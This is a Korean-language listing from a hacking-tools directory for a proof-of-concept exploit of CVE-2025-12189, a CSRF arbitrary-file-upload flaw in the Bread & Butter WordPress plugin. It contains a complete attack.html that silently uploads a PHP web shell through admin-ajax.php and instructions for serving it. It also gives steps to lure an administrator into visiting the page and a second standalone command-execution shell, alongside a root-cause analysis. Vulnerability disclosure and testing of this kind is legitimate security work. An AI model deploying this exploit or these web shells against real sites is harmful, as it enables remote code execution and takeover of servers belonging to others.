Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-12189 — Bread & Butter: 콘텐츠 게이팅 + 리드 확보 + 퍼스트파티 데이터 수집 + AI 에이전트로 육성 <= 7.10.1321 - 사이트 간 요청 위조(CSRF)를 통한 임의 파일 업로드 | Kitploit
도구/GitHubGitHub/d0n601/cve-2025-12189
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration Testing
GitHubd0n601/cve-2025-12189

CVE-2025-12189

Bread & Butter: 콘텐츠 게이팅 + 리드 확보 + 퍼스트파티 데이터 수집 + AI 에이전트로 육성 <= 7.10.1321 - 사이트 간 요청 위조(CSRF)를 통한 임의 파일 업로드

저장소 보기
9개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Bread & Butter: 콘텐츠 게이트 + 리드 캡처 + 퍼스트파티 데이터 수집 + AI 에이전트로 육성 <= 7.10.1321 - 사이트 간 요청 위조를 통한 임의 파일 업로드

Bread & Butter IO 플러그인의 이미지 업로드 기능에는 모든 공격자가 인증된 관리자를 속여 PHP 웹 셸을 포함한 임의의 파일을 서버에 업로드하게 하여 **원격 코드 실행 (RCE)**으로 이어질 수 있는 취약점이 있습니다. 이 취약점은 uploadImage() 함수에 CSRF 보호가 없어 공격자가 관리자 브라우저가 자동으로 실행할 악성 요청을 만들 수 있다는 점에서 비롯됩니다.

취약점은 /bread-butter/src/Base/Ajax.php의 uploadImage() 함수에 존재합니다. 이 함수는 적절한 파일 검증과 CSRF 보호가 없으며, 보안 검사 전에 file_put_contents()를 사용하여 WordPress 업로드 디렉터리에 파일을 직접 씁니다.

TL;DR 익스플로잇

  • CSRF 기반 파일 업로드 악용을 시연하는 POC attack.html이 아래에 제공됩니다.
  • 더 현실적인 예시도 email-lure.html에 제공됩니다.

다음은 간단한 attack.html입니다:

root@kitploit:~
<!DOCTYPE html>
<html>
<body>
    <button onclick="exploit()">CSRF Attack</button>
    <script>
        function exploit() {
            const form = document.createElement('form');
            form.action = 'http://TARGETSITE.COM/wp-admin/admin-ajax.php';
            form.method = 'POST';
            form.enctype = 'multipart/form-data';
            form.target = '_blank';
            form.style.display = 'none';
            
            // Action field
            const action = document.createElement('input');
            action.name = 'action';
            action.value = 'upload_image';
            form.appendChild(action);
            
            // File field
            const file = document.createElement('input');
            file.type = 'file';
            file.name = 'file';
            const blob = new Blob([`<?php system($_GET['cmd']); ?>`], { type: 'image/jpeg' });
            const phpFile = new File([blob], 'test.php', { type: 'image/jpeg' });
            const dt = new DataTransfer();
            dt.items.add(phpFile);
            file.files = dt.files;
            form.appendChild(file);
            
            document.body.appendChild(form);
            form.submit();
        }
    </script>
</body>
</html>

POC를 위해 로컬에서 다음과 같이 실행할 수 있습니다:

root@kitploit:~
# Serve the CSRF exploit
python3 -m http.server 1337

# Visit: http://localhost:1337/attack.html
# Click "CSRF Attack" button
# Check new tab for WordPress response
# Test uploaded shell: https://TARGETSITE.COM/wp-content/uploads/[year]/[month]/test.php?cmd=whoami

피해자 브라우저에서 관리자로 로그인된 상태라면 링크를 클릭하는 것만으로 RCE로 이어집니다.

취약점 상세 정보

근본 원인 분석

취약점은 /bread-butter/src/Base/Ajax.php의 411행에 있는 uploadImage() 함수에 존재합니다:

root@kitploit:~
public function uploadImage() {
    $this->checkAdmin();                   
    $file = $_FILES['file'];               

    $type = $file['type'];                 
    $name = $file['name'];                
    $image_url = $file['tmp_name'];        

    $upload_dir = wp_upload_dir();         
    $image_data = file_get_contents($image_url);
    $filename = basename($name); 

    
    if (wp_mkdir_p($upload_dir['path'])) {
        $file = $upload_dir['path'] . '/' . $filename;    
    } else {
        $file = $upload_dir['basedir'] . '/' . $filename;
    }

    file_put_contents($file, $image_data);  // Attacker get's file moved to acessable storage!

    // Post-upload processing (after vulnerability is exploited)
    $wp_filetype = wp_check_filetype($filename, null); 
    // ... rest of function
}

AJAX 핸들러 등록

취약한 함수는 95행에서 WordPress AJAX 핸들러로 등록됩니다:

root@kitploit:~
add_action('wp_ajax_' . self::$uploadImage, array($this, 'uploadImage'));

여기서 self::$uploadImage는 37행에서 upload_image로 정의됩니다.

권한 검사

유일한 보안 제어는 166-171행의 checkAdmin() 메서드입니다:

root@kitploit:~
public function checkAdmin() {
    if (!current_user_can('manage_options')) {
        echo 0;
        wp_die();
    }
}

CSRF 악용

CSRF 보호가 없기 때문에 이 취약점은 사이트 간 요청 위조(Cross-Site Request Forgery) 공격을 통해 악용될 수 있습니다. attack.html POC는 다음을 통해 이를 시연합니다:

  1. WordPress AJAX 엔드포인트를 대상으로 하는 악성 양식 생성
  2. CORS 제한을 우회하기 위한 target="_blank" 사용
  3. HTML/JavaScript에 직접 PHP 웹 셸 삽입
  4. 피해자가 버튼을 클릭하면 양식을 자동으로 제출

수동 재현

CSRF를 통한 RCE 악용

  1. CSRF 페이로드가 포함된 HTML 페이지를 생성합니다 (attack.html 참조)
  2. 임의의 (공격자 통제) 웹 서버에서 페이지를 서빙합니다
  3. 관리자가 악성 페이지를 방문하도록 속입니다
  4. 관리자의 브라우저가 자동으로 양식을 제출합니다
  5. 악성 파일이 해당 WordPress 사이트에 업로드됩니다
  6. 업로드된 셸을 /wp-content/uploads/[year]/[month]/test.php?cmd=whoami에서 접근합니다

직접 악용 (관리자 권한 필요)

  1. 관리자 권한으로 WordPress 관리자 패널에 로그인합니다
  2. Bread & Butter 플러그인 설정으로 이동합니다
  3. 이미지 업로드 기능을 사용하거나 /wp-admin/admin-ajax.php로 직접 AJAX 요청을 보냅니다
  4. 악성 콘텐츠가 포함된 PHP 파일을 업로드합니다:
root@kitploit:~
<?php
if(isset($_GET['cmd'])) {
    system($_GET['cmd']);
} else {
    echo "Shell ready. Use ?cmd=command";
}
?>
  1. 업로드된 파일을 /wp-content/uploads/[year]/[month]/[filename].php에서 접근합니다
도구 다운로드